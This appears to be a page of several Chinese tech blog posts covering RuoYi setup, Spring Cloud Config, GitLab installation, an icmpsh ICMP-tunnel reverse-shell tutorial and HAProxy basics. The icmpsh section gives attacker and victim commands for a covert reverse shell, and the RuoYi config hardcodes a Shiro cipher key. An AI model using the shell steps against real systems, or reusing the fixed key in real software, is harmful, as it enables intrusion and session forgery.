|(_ o _) / _( )_ .'
| (_,_).' __ ___(_ o _)'
| |\ \ | || |(_,_)'
| | \ `' /| `-' /
| | \ / \ /
''-' `'-' `-..-' 5、打开浏览器,输入:(http://localhost:80 (opens new window)) (默认账户/密码 admin/admin123)若能正确展示登录页面,并能成功登录,菜单及页面展示正常,则表明环境搭建成功建议使用Git克隆,因为克隆的方式可以和RuoYi随时保持更新同步。使用Git命令克隆git clone https://gitee.com/y_project/RuoYi.git
#必要配置修改数据库连接,编辑resources目录下的application-druid.yml# 数据源配置
spring:
datasource:
type: com.alibaba.druid.pool.DruidDataSource
driverClassName: com.mysql.cj.jdbc.Driver
druid:
# 主库数据源
master:
url: 数据库地址
username: 数据库账号
password: 数据库密码修改服务器配置,编辑resources目录下的application.yml# 开发环境配置
server:
# 服务器的HTTP端口,默认为80
port: 端口
servlet:
# 应用的访问路径
context-path: /应用路径#部署系统打包工程文件在ruoyi项目的bin目录下执行package.bat打包Web工程,生成war/jar包文件。然后会在项目下生成target文件夹包含war或jar提示多模块版本会生成在ruoyi/ruoyi-admin模块下target文件夹部署工程文件1、jar部署方式使用命令行执行:java –jar ruoyi.jar 或者执行脚本:ruoyi/bin/run.bat2、war部署方式ruoyi/pom.xml中的packaging修改为war,放入tomcat服务器webapps <packaging>war</packaging>
提示多模块版本在ruoyi/ruoyi-admin模块下修改pom.xmlSpringBoot去除内嵌Tomcat(PS:此步骤不重要,因为不排除也能在容器中部署war)<!-- 多模块排除内置tomcat -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
</exclusion>
</exclusions>
</dependency>
<!-- 单应用排除内置tomcat -->
<exclusions>
<exclusion>
<artifactId>spring-boot-starter-tomcat</artifactId>
<groupId>org.springframework.boot</groupId>
</exclusion>
</exclusions>#常见问题如果使用Mac需要修改application.yml文件路径profile如果使用Linux 提示表不存在,设置大小写敏感配置在/etc/my.cnf添加lower_case_table_names=1,重启MYSQL服务如果提示当前权限不足,无法写入文件请检查application.yml中的profile路径或logback.xml中的log.path路径是否有可读可写操作权限 配置文件通用配置 application.yml# 项目相关配置
ruoyi:
# 名称
name: RuoYi
# 版本
version: 4.6.0
# 版权年份
copyrightYear: 2021
# 实例演示开关
demoEnabled: true
# 文件路径 示例( Windows配置D:/ruoyi/uploadPath,Linux配置 /home/ruoyi/uploadPath)
profile: D:/ruoyi/uploadPath
# 获取ip地址开关
addressEnabled: false
# 开发环境配置
server:
# 服务器的HTTP端口,默认为80
port: 80
servlet:
# 应用的访问路径
context-path: /
tomcat:
# tomcat的URI编码
uri-encoding: UTF-8
# tomcat最大线程数,默认为200
max-threads: 800
# Tomcat启动初始化的线程数,默认值25
min-spare-threads: 30
# 日志配置
logging:
level:
com.ruoyi: debug
org.springframework: warn
# 用户配置
user:
password:
# 密码错误{maxRetryCount}次锁定10分钟
maxRetryCount: 5
# Spring配置
spring:
# 模板引擎
thymeleaf:
mode: HTML
encoding: utf-8
# 禁用缓存
cache: false
# 资源信息
messages:
# 国际化资源文件路径
basename: static/i18n/messages
jackson:
time-zone: GMT+8
date-format: yyyy-MM-dd HH:mm:ss
profiles:
active: druid
# 文件上传
servlet:
multipart:
# 单个文件大小
max-file-size: 10MB
# 设置总上传的文件大小
max-request-size: 20MB
# 服务模块
devtools:
restart:
# 热部署开关
enabled: true
# MyBatis
mybatis:
# 搜索指定包别名
typeAliasesPackage: com.ruoyi.**.domain
# 配置mapper的扫描,找到所有的mapper.xml映射文件
mapperLocations: classpath*:mapper/**/*Mapper.xml
# 加载全局的配置文件
configLocation: classpath:mybatis/mybatis-config.xml
# PageHelper分页插件
pagehelper:
helperDialect: mysql
reasonable: true
supportMethodsArguments: true
params: count=countSql
# Shiro
shiro:
user:
# 登录地址
loginUrl: /login
# 权限认证失败地址
unauthorizedUrl: /unauth
# 首页地址
indexUrl: /index
# 验证码开关
captchaEnabled: true
# 验证码类型 math 数组计算 char 字符
captchaType: math
cookie:
# 设置Cookie的域名 默认空,即当前访问的域名
domain:
# 设置cookie的有效访问路径
path: /
# 设置HttpOnly属性
httpOnly: true
# 设置Cookie的过期时间,天为单位
maxAge: 30
# 设置密钥,务必保持唯一性(生成方式,直接拷贝到main运行即可)KeyGenerator keygen = KeyGenerator.getInstance("AES"); SecretKey deskey = keygen.generateKey(); System.out.println(Base64.encodeToString(deskey.getEncoded()));
cipherKey: zSyK5Kp6PZAAjlT+eeNMlg==
session:
# Session超时时间,-1代表永不过期(默认30分钟)
expireTime: 30
# 同步session到数据库的周期(默认1分钟)
dbSyncPeriod: 1
# 相隔多久检查一次session的有效性,默认就是10分钟
validationInterval: 10
# 同一个用户最大会话数,比如2的意思是同一个账号允许最多同时两个人登录(默认-1不限制)
maxSession: -1
# 踢出之前登录的/之后登录的用户,默认踢出之前登录的用户
kickoutAfter: false
# 防止XSS攻击
xss:
# 过滤开关
enabled: true
# 排除链接(多个用逗号分隔)
excludes: /system/notice/*
# 匹配链接
urlPatterns: /system/*,/monitor/*,/tool/*
# Swagger配置
swagger:
# 是否开启swagger
enabled: true数据源配置 application-druid.yml# 数据源配置
spring:
datasource:
type: com.alibaba.druid.pool.DruidDataSource
driverClassName: com.mysql.cj.jdbc.Driver
druid:
# 主库数据源
master:
url: jdbc:mysql://localhost:3306/ry?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8
username: root
password: password
# 从库数据源
slave:
# 从数据源开关/默认关闭
enabled: false
url:
username:
password:
# 初始连接数
initialSize: 5
# 最小连接池数量
minIdle: 10
# 最大连接池数量
maxActive: 20
# 配置获取连接等待超时的时间
maxWait: 60000
# 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒
timeBetweenEvictionRunsMillis: 60000
# 配置一个连接在池中最小生存的时间,单位是毫秒
minEvictableIdleTimeMillis: 300000
# 配置一个连接在池中最大生存的时间,单位是毫秒
maxEvictableIdleTimeMillis: 900000
# 配置检测连接是否有效
validationQuery: SELECT 1 FROM DUAL
testWhileIdle: true
testOnBorrow: false
testOnReturn: false
webStatFilter:
enabled: true
statViewServlet:
enabled: true
# 设置白名单,不填则允许所有访问
allow:
url-pattern: /druid/*
# 控制台管理用户名和密码
login-username:
login-password:
filter:
stat:
enabled: true
# 慢SQL记录
log-slow-sql: true
slow-sql-millis: 1000
merge-sql: true
wall:
config:
multi-statement-allow: true代码生成配置 generator.yml# 代码生成
gen:
# 作者
author: ruoyi
# 默认生成包路径 system 需改成自己的模块名称 如 system monitor tool
packageName: com.ruoyi.system
# 自动去除表前缀,默认是false
autoRemovePre: false
# 表前缀(生成类名不会包含表前缀,多个用逗号分隔)
tablePrefix: sys_源码获取地址:若依管理系统(基于SpringBoot的权限管理系统)Vue前端分离版(基于SpringBoot的权限管理系统)Cloud微服务版(基于SpringCloud的权限管理系统)
SpringCloud学习(十八):Config分布式配置中心的介绍与搭建
一、概述 1、分布式系统面临的配置问题 微服务意味着要将单体应用中的业务拆分成一个个子服务,每个服务的粒度相对较小,因此系统中会出现大量的服务。由于每个服务都需要必要的配置信息才能运行,所以一套集中式的、动态的配置管理设施是必不可少的。因此,SpringCloud提供了ConfigServer来解决这个问题。 2、 Config配置中心是什么 SpringCloud Config为微服务架构中的微服务提供集中化的外部配置支持,配置服务器为各个不同微服务应用的所有环境提供了一个中心化的外部配置。 SpringCloud Config分为服务端和客户端两部分。 服务端也称为分布式配置中心,它是一个独立的微服务应用,用来连接配置服务器并为客户端提供获取配置信息,加密/解密信息等访问接口。 客户端则是通过指定的配置中心来管理应用资源,以及与业务相关的配置内容,并在启动的时候从配置中心获取和加载配置信息配置服务器默认采用git来存储配置信息,这样就有助于对环境配置进行版本管理,并且可以通过git客户端工具来方便的管理和访问配置内容。 3、Spring Config能做什么(1)集中管理配置文件;(2)不同环境不同配置,动态化的配置更新,分环境部署比如dev、test、prod、beta、release;(3)运行期间动态调整配置,不再需要在每个服务部署的机器上编写配置文件,服务会向配置中心统一拉取配置自己的信息;(4)当配置发生变动时,服务不需要重启即可感知到配置的变化并应用新的配置;(5)将配置信息以REST接口的形式暴露;(6)……由于SpringCloud Config默认使用Git来存储配置文件(也有其它方式,比如支持SVN和本地文件),但最推荐的还是Git,而且使用的是http/https访问的形式。二、Config总控中心配置与测试 1、在Gitee上新建仓库 新建名为springcloud-config 的仓库 2、本地硬盘目录上新建git仓库并clone git clone 仓库地址(最好是http的) Git相关的知识就不多赘述了,可以参考我的博客 Git学习(四):GitHub远程库操作_m0_49499183的博客-CSDN博客 3、在IDEA中新建模块 新建普通maven模块 cloud-config-center-3344 4、修改pom文件<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>cloud</artifactId>
<groupId>com.shang.cloud</groupId>
<version>1.0-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>cloud-config-center-3344</artifactId>
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-config-server</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
</project>5、编写yml文件 server:
port: 3344
spring:
application:
name: cloud-config-center #注册进Eureka服务器的微服务名
cloud:
config:
server:
git:
uri: https://gitee.com/jade-faced-dragon/springcloud-config.git #Gite上面的git仓库名字
####搜索目录
search-paths:
- springcloud-config
####读取分支
label: master
#服务注册到eureka地址
eureka:
client:
service-url:
defaultZone: http://localhost:7001/eureka
6、编写主启动类(加上@EnableConfigServer注解)@SpringBootApplication
@EnableConfigServer
public class ConfigCenterMain3344 {
public static void main(String[] args) {
SpringApplication.run(ConfigCenterMain3344.class, args);
}
}7、windows下修改hosts文件,增加映射 host文件的地址 C:\Windows\System32\drivers\etc 在文件最后加上 127.0.0.1 config-3344.com修改之前最好还是将host文件备份一份,避免误操作。8、运行测试 启动eureka7001、config3344. http://config-3344.com:3344/master/README.md 可以访问到仓库中的内容。 这说明如果仓库中有各个微服务的yml配置文件,我们也是可以读取到的。9、读取规则/{label}/{application}-{profile}.yml 例如:master分支下,config服务的dev环境: http://config-3344.com:3344/master/config-dev.yml三、Config客户端配置与测试1、新建模块 新建普通maven模块cloud-config-client-3355 2、修改pom文件 <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>cloud</artifactId>
<groupId>com.shang.cloud</groupId>
<version>1.0-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>cloud-config-client-3355</artifactId>
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-config</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework.cloud/spring-cloud-starter-bootstrap -->
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-bootstrap</artifactId>
<version>3.0.3</version>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
</project> 3、编写yml文件这次的yml文件为bootstrap.yml。 (1)什么是bootstrap.yml applicaiton.yml是用户级的资源配置项;bootstrap.yml是系统级的,优先级更加高 Spring Cloud会创建一个“Bootstrap Context”,作为Spring应用的`Application Context`的父上下文。初始化的时候,`Bootstrap Context`负责从外部源加载配置属性并解析配置。这两个上下文共享一个从外部获取的`Environment`。`Bootstrap`属性有高优先级,默认情况下,它们不会被本地配置覆盖。 `Bootstrap context`和`Application Context`有着不同的约定,所以新增了一个`bootstrap.yml`文件,保证`Bootstrap Context`和`Application Context`配置的分离。 (2)内容server:
port: 3355
spring:
application:
name: config-client
cloud:
#Config客户端配置
config:
label: master #分支名称
name: config #配置文件名称
profile: dev #读取后缀名称 上述3个综合:master分支上config-dev.yml的配置文件被读取http://config-3344.com:3344/master/config-dev.yml
uri: http://localhost:3344/X #配置中心地址k
#服务注册到eureka地址
eureka:
client:
service-url:
defaultZone: http://localhost:7001/eureka4、编写主启动类 @SpringBootApplication
@EnableEurekaClient
public class ConfigClientMain3355 {
public static void main(String[] args) {
SpringApplication.run(ConfigClientMain3355.class, args);
}
}5、创建config-dev.yml,并提交到Gitee中 1. config:
2. info: master branch,springcloud-config/config-prod.yml version=16、编写逻辑代码 config包中 @RestController
public class ConfigClientController {
@Value("${config.info}")
private String configInfo;
@GetMapping("/configInfo")
public String getConfigInfo()
{
return configInfo;
}
}7、运行测试 http://localhost:3355/configInfo 也可以获取到config-dev.yml中的内容8、问题随之而来 当Gitee中的配置文件修改后,刷新3344,页面中的内容马上改变;而刷新3355则不会改变,必须重启3355.那么,难道每次运维修改配置文件,客户端都需要重启?这是我们需要解决的问题:分布式配置的动态刷新问题。 这就是下面要讲到的.四、Config动态刷新 1、在POM文件中引入actuator监控 <dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>2、在yml中添加暴露监控端口 # 暴露监控端点
management:
endpoints:
web:
exposure:
include: "*"3、在业务类controller类上增加@RefreshScope注解 4、修改Gitee上的配置文件,模拟运维人员修改配置 例如,将版本号从1改为2.5、模拟运维人员发送post请求,手动刷新 在git本地仓库下的命令行中输入命令:curl -X POST "http://localhost:3355/actuator/refresh" 6、刷新3344和3355 ,看是否更新 可以看出,已经3355能够更新了。6、是不是还可以改进 假如我们有很多的服务3355、3366、3377……,那是不是要给每一个服务发送一次手动刷新的post请求呢? 能不能做到只发送一次请求,让每个服务都收到更新通知,一次广播,处处生效呢?这就需要用到我们下篇文章要讲到的Bus消息总线。
从私有Git仓库的搭建到命令的使用再到分支管理,全流程全套服务包您满意(一)
1. Git是什么?Git是一款开源的分布式版本控制系统,可以有效,高速处理从很小到非常大的项目版本管理。 Git是通过C语言开发实现的。2. Git与SVN的比较Git和SVN是两种截然不同的版本控制系统,Git是分布式版本控制系统,而SVN则是集中式版本控制系统。要想比较Git和SVN的区别,首先需要了解分布式版本控制系统和集中式版本控制系统的基本概念。集中式版本控制系统:一个显著的特征是版本库是存放在中央服务器上的,由中央服务器统一管理项目的版本信息和分支信息。团队中的每个成员在工作时都需要先从中央服务器上拉取最新的代码,然后开始干活。干完活之后再将代码提交到中央服务器上。集中式版本服务器有两个弊端:1.必须联网才能工作,当没有网络或者网络很差时,则团队中的成员无法协同工作。2.安全性不好,因为版本库存放在了中央服务器,当中央服务器损坏时则会丢失版本库,使所有成员都没法工作。集中式版本控制系统的网络拓扑图如下图所示:可以看出团队中所有成员的工作电脑都只与中央服务器打交道。如果把版本库比做书库的话,那么每个人(每个电脑)都需要先从书库借到书(拉取最新的代码),阅读完之后然后还给书库(修改之后提交到中央服务器)分布式版本控制系统: 与集中式版本控制系统最大的不同是团队中所有成员的工作电脑上都有一个完整的版本库,并且没有中央服务器。,这就相当于团队中每个成员都有一个自己的小书库(版本库),成员之间可以互相交换自己书库中的图书(将自己的修改提交给对方)。这里完全不需要中央服务器来管理协调管理。在实际使用分布式版本控制系统时,其实很少在两人之间的电脑上进行版本库推送,这是因为有时候你们不在同一个局域网内,或者你同事的电脑关机了。因此,分布式版本控制系统通常也有一台充当“中央服务器”的电脑,但这个服务器的作用仅仅是用来方便“交换”大家的修改,没有它大家也一样干活,只是交换修改不方便而已。这台充当“中央服务器”的电脑上的版本库称之为远程版本库,其他成员电脑上的版本库称之为本地版本库。后面会详细介绍。分布式版本控制系统的网络拓扑图如下图所示:分布式版本控制系统剔除了中央服务器,这充分体现了分布式的核心概念,就是去中心化。这样带来的好处有两点:1.没有网络也能上班:团队中的每个成员在没有网络的情况下也能工作,因为本地有完整的版本库,不需要担心数据的丢失。2.数据更安全:当某个成员的电脑坏掉了不要紧,只需要从其他成员的电脑上复制一份即可。但是集中式版本控制系统的中央服务器出问题,则可能会丢失版本库,使得所有人都没法工作。3. 系统环境系统版本WindowsWindows10LinuxUbuntu16.044. 安装Git客户端说完了Git的基本概念,接下来还是安装个Git客户端下来耍一耍。这里分不同的操作系统简单的介绍一下Git客户端的安装。Linux系统下首先通过git --version 命令查看电脑上是否已经安装了Git客户端。如果已经安装了就可以跳过此章节。如果没有安装的话就接着往下面看:Linux系统有不同的发行版本,可以通过cat /proc/version 命令查看Linux的版本。Debian或Ubuntu下安装Git在 Debian或Ubuntu可以通过apt包管理工具安装Git,命令如下:sudo apt-get install gitRed Hat 或者CentOS下安装GitRed Hat 或者CentOS下可以通过yum包管理工具安装Git,命令如下:yum install git -y如果找不到yum命令的话,则需要先安装yum工具。可以参考下面命令#删除yum.repos.d目录下所有文件
rm -f /etc/yum.repos.d/*
#然后重新下载阿里的yum源
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
#清理缓存
yun clean allWindows系统下Git的官方下载地址是:Git的下载地址下载好安装包之后,一直点击下一步即可安装。再次就不在赘述。5.本地版本库操作Windows下安装好Git之后会出现Git Bash 和Git GUI两个应用程序,其中Git Bash是Git的命令行工具,而Git GUI则是Git的可视化工具(一般很少用)。创建本地版本库创建本地版本库分为两步:第一步是创建一个空文件夹,命名为: git_learn。第二步就是在该文件夹下执行git init 命令将该文件夹变成git可以管理的版本库。执行第二步之后,在 git_learn目录下会出现一个名为.git的隐藏文件夹,该文件夹就是git的版本库。切记不要手动修改.git文件夹下的任何内容,以免本地版本库不可用。本地版本库建好之后就可以在git_learn文件夹下创建一个文件进行测试了。这里创建了一个名为readme.txt的文件。添加到暂存区通过git add readme.txt命令可以将readme.txt文件提交到暂存区(关于暂存区的概念后面会详细介绍)。如果有多个文件需要添加的话,可以执行git add . 命令。提交到版本库因为git的本地都是有完整版本库的,所以还需要将前面创建的readme.txt文件提交到本地版本库的当前分支,默认是master。命令格式是git commit -m '<message>' ,其中写入你的提交备注。工作区和暂存区这里有两个很重要的概念,一个是工作区,另一个是暂存区(Git特有的概念)。工作区工作区就是你电脑上能看到的目录(不包括隐藏文件),例如:git_learn目录就是一个工作区。暂存区工作区有一个隐藏目录.git,这个不算工作区,而是Git的版本库,其中最重要的是暂存区(stage)。还有Git为我们自动创建的第一个分支叫master,以及指向master的一个指针叫HEAD。前面提到了工作区,暂存区,git add命令和git comit 命令。那么他们之间有啥关系呢?下面就用一张流程图展示一下:通过add命令将工作区中ABC文件夹提交到暂存区stage,在通过commit命令将stage中的ABC文件夹提交到当前分支master。管理修改Git管理的是修改而非文件。这里的修改指的是对工作区的任何操作,包括新增文件;删除文件;修改文件等等。哪怕是在文件中增加一句话或者删除一个字符都可以算是修改。下面就举例说明下,还是以readme.txt文件为例:1.第一次在readme.txt文件中增加一个词语 gittest。然后执行git add readme.txt,并通过命令git status查看状态。hello worldgittest2.第二次再在readme.txt文件上添加一行内容git tracks changes。hello worldgittestgit tracks changes直接执行git commit -m 'git tracks changes'命令。然后通过 git status ,可以发现第二次的修改没有提交。这是因为第二次的修改没有先提交到暂存区中。我们的操作过程是第一次修改 -> git add -> 第二次修改 -> git commit。当使用git add 命令后,在工作区中的第一次修改被放入暂存区中,准备提交,在工作区中的第二次修改没有被放入暂存区中,所以,git commit只负责把暂存区中的修改提交到当前分支。所以第二次的修改没有提交。也就是说,所有的修改必须先通过git add 提交到暂存区,然后通过git commit 提交到当前分支。。在实际开发中一般是将所有修改合并起来add,然后在一起commit。删除文件当前分支上有一个已经废弃不用的文件,该如何删除呢?比如要删除一个名为test1.txt文件。只需要两行命令。git rm test1.txt
git commit -m "remove test.txt"6.Ubuntu搭建私有的git仓库前面介绍了在实际开发中,一般会拿一台电脑作为“中央仓库”,充当中央仓库的电脑需要安装一个代码仓库软件,这里选用开源软件GitLab,它是基于git实现的在线代码仓库软件,提供web可视化管理界面,可以在本地部署。通常用于企业团队内部协作开发。当然,如果你不想搭建私人的git仓库,那么也可以直接使用最大的同性交友网站Github(使用与GitLab类似)。那么该如何在Ubuntu上安装GitLab软件,搭建私有的Git仓库呢?1.安装必须的一些服务#更新apt源
sudo apt-get update
#安装依赖包,运行命令
sudo apt-get install curl openssh-server ca-certificates postfix
sudo apt-get install -y postfix2.接着信任 GitLab 的 GPG 公钥:curl https://packages.gitlab.com/gpg.key 2> /dev/null | sudo apt-key add - &>/dev/nu3.配置镜像路径由于国外的下载速度过慢,所以配置清华大学镜像的路径。sudo vi /etc/apt/sources.list.d/gitlab-ce.list在该文件中写入如下代码deb https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/ubuntu xenial main4.安装gitlab-cesudo apt-get update
sudo apt-get install gitlab-ce安装gitlab-ce成功之后。5. 修改外部url在gitlab配置文件/etc/gitlab/gitlab.rb中修改外部url,改为自己的ip地址或者域名。sudo vi /etc/gitlab/gitlab.rb找到external_url,修改其默认的地址,这里改成了我本机局域网IP:192.168.40.138external_url 'http://192.168.40.138/' ## 本机的局域网ip地址为192.168.41.1286.执行配置前面步骤顺利的话就可以执行配置了,该过程可能需要较长的时间。sudo gitlab-ctl reconfigure7.启动GitLabsudo gitlab-ctl start可以通过ps -ef|grep gitlab 命令查看GitLab是否启动成功。8. 进行浏览器访问GitLab成功启动之后就可以通过浏览器访问GitLab的主页了。在浏览器上输入http://192.168.40.138/;默认输入的用户名是root用户,输入的密码是root的账户密码。至此GitLab的安装就全部结束,我们也成功的搭建了属于自己的Git仓库。GitLab的使用添加用户点击设置按钮,进入设置栏,选中Users->New User 进入添加用户页面。输入姓名,用户名,和邮箱即可注册添加新用户。添加团队用户添加好之后,就是将用户添加到团队中,GitLab中默认会有一个名为GitLab Instance的团队,你也可以添加自己的团队,这里我添加了一个名为ai_edu的团队。并在团队中添加了两个成员。选中要添加成员的团队,在右侧会出现一个添加Add user(s) to the group的栏目。再此栏目中所有用户并添加到团队中。用户的角色有游客,测试人员,开发人员,管理者,拥有者等几个不同的角色。新建远程仓库说完了用户和团队的设置后,现在就进入了重点了,如何新建一个远程仓库。同样也是比较方便。操作步骤是:Project->Your projects->New project这里新建了一个名为git_test的远程仓库,仓库的所有这是属于ai_edu团队。这里仓库的权限等级有三个等级,分别是:Private(只有你团队的人才能拉取和推送代码),Internal(除了黑名单之外的用户可以拉取和推送代码)。Public (所有的用户都可以拉取)。SSH key的配置(生成公钥和私钥)为啥要配置SSH key呢?这是因为GitLab与你的电脑是通过SSH协议来通信的。说白了,如果你没有配置SSH key的话,则你不能推送代码到远程库。这里首先在你本地生成公钥和私钥文件,然后把公钥文件的内容复制到GitLab上。1.配置用户名git config --global user.name “username”2.配置邮箱git config --global user.email jayxiang31@gmail.comjayxiang31@gmail.com替换成你实际的邮箱地址。不需要加单引号。3. 生成公钥和私钥ssh-keygen -C 'you email jayxiang31@gmail.com' -t rsa如果简单些的话可以直接填写ssh-keygen 命令。邮箱地址填写前面设置的邮箱地址。有提示的话一直按Enter键。正确执行后会输入如下信息找到公钥文件id_rsa.pub,复制公钥内容到GitLab
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(二)
六、icmpsh反弹shell0 icmpsh简介icmpsh 是一个简单的反向 ICMP shell,带有一个 win32 从站和一个 C、Perl 或 Python 中的 POSIX 兼容主站。与其他类似的开源工具相比,它的主要优势在于它不需要管理权限即可在目标机器上运行。该工具干净、简单且便携。该目标Windows机器上从(客户端)运行,它是用C写的,在Windows受害者机器上运行服务器端,在攻击者机器上的任何平台上运行服务端。1 下载地址https://github.com/bdamele/icmpsh2 工具安装如果遇到报错,请看下面的报错解决方法#下载工具
git clone https://github.com/inquisb/icmpsh.git
#安装依赖
apt-get install python-impacket
#关闭本地ICMP应答
sysctl -w net.ipv4.icmp_echo_ignore_all=13 V/PS-kali运行icmpsh的控制端python icmpsh_m.py v/ps-ip attack-ip
python icmpsh_m.py 192.168.3.76 192.168.3.884 WEB服务器运行icmpsh.exe -t 192.168.3.76v/ps接收到shell使用wireshark抓包可以看到数据包都是ICMP协议5 报错解决You need to ``install``Python Impacket library first解决:git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip install -r requirements.txt
python setup.py install如果第三行命令报错切换普通用户再执行安装完成后切换用户进行监听6 局限性V/PS和WEB服务器必须要能够相互ping通七、附:隧道场景搭建windows server 2019环境-icmp出网环境搭建记录1 WEB服务器环境搭建设置Windows防火墙策略1) 启用防火墙2) 防火墙高级设置(重点)(1)设置阻止入站/出站连接打开高级设置选择属性域配置文件、专用配置文件、公用配置文件这三个标签中出站连接设置为阻止,确定再次查看(2)禁用全部已启用的入站规则选择入站规则,按照已启用排序,把启用的规则选中,全部禁用(3)新建入站规则:允许80端口tcp入站新建一个web服务,仅TCP的80端口入站选择端口,下一步选择tcp,输入特定端口80默认选择允许连接,下一步选择专用 公用,下一步随便命名,完成(4)新建出站规则:允许ICMP协议出站禁用全部已启用的出站规则:同样点击出站规则,把启用的全部禁用掉新建一个基于icmp协议的规则选择自定义,协议和端口默认,下一步协议类型选择icmpv4,其余默认,下一步。"这里可以查看几个协议的协议号"作用域默认任何IP地址,下一步选择允许连接,下一步选择专用、公用,下一步输入命名,完成
集群-------Haproxy(一)
一、常见的Web集群调度器目前常见的Web集群调度器分为软件和硬件软件通常使用开源的LVS、Haproxy、NginxLVS性能最好,但是搭建相对复杂;Nginx的upstream模块支持集群功能,但是对集群节点健康检查功能不强,高并发没有Haproxy好硬件一般使用的比较多的是F5,也有很多人使用梭子鱼、绿盟等国内产品。二、Haproxy简介2.1 Haproxy 应用分析LVS在企业应用中抗负载能力很强,但存在不足LVS不支持正则处理,不能实现动静分离对于大型网站,LVS的实施配置复杂,维护成功相对较高Haproxy是一款可提供高可用性、负载均衡、及基于TCP和HTTP应用的代理的软件适用于负载大的Web站点运行在硬件上可支持数万计的并发连接的连接请求。2.2 Haproxy的特性可靠性和稳定性非常好,可以与硬件级的F5负载均衡设备相媲美最高可以同时维护40000-50000个并发连接,单位时间内处理的最大请求数为20000个,最大处理能力可达10Git/s支持多达8 种负载均衡算法,同时也支持会话保持支持虚拟主机功能,从而实现web负载均衡更加灵活支持连接拒绝、全透明代理等独特功能拥有强大的ACL支持,用于访问控制其独特的弹性二叉树数据结构,使数据结构的复杂性上升到了0(1),即数据的查询速度不会随着数据条目的增加而速度有所下降支持客户端的keepalive功能,减少客户端与haproxy的多次三次握手导致资源量费,让多个请求在一个tcp连接中完成支持TCP加速,零复制功能,类似于mmap机制支持响应池(response buffering)支持RDP协议基于源的粘性,类似于nginx的ip_hash功能,把来自同一客户端的请求在一定时间内始终调度到上游的同一服务器更好统计数据接口,其web接口显示后端冀全中各个服务器的接受、发送、拒绝、错误等数据的统计信息详细的健康状态检测,web接口中有关对上流服务器的健康检测状态,并提供了一定的管理功能基于流量的健康评估机制基于http认证基于命令行的管理接口日志分析器,可对日志进行分析三、Haproxy调度算法原理Haproxy支持多种调度算法,最常用得有三种RR (Round Robin) RR算法是最简单常用得一种算法,即轮询调度LC(Least Connections) 最小连接数算法,根据后端得节点连接大小动态分配前端请求SH(Source Hashing)基于来源访问调度算法,用于一些有Session会话记录在服务器端得创建,可以基于来源得IP、Cookie等做集群调度四、nginx、lvs、haproxy有什么区别nginx①支持正则②只支持基于端口的健康检查③不支持session的直接保持、但能通过ip_hash来解决④对网络稳定性要求不高⑤反向代理能力强lvs①只能基于四层端口转发②尽在四层做分发作用、扛负载能力强③应用范围广haproxy①支持8种负载均衡策略②仅作负载均衡软件使用、在高并发情况下性能优于nginx③支持url检测、支持session保持LVSLVS: 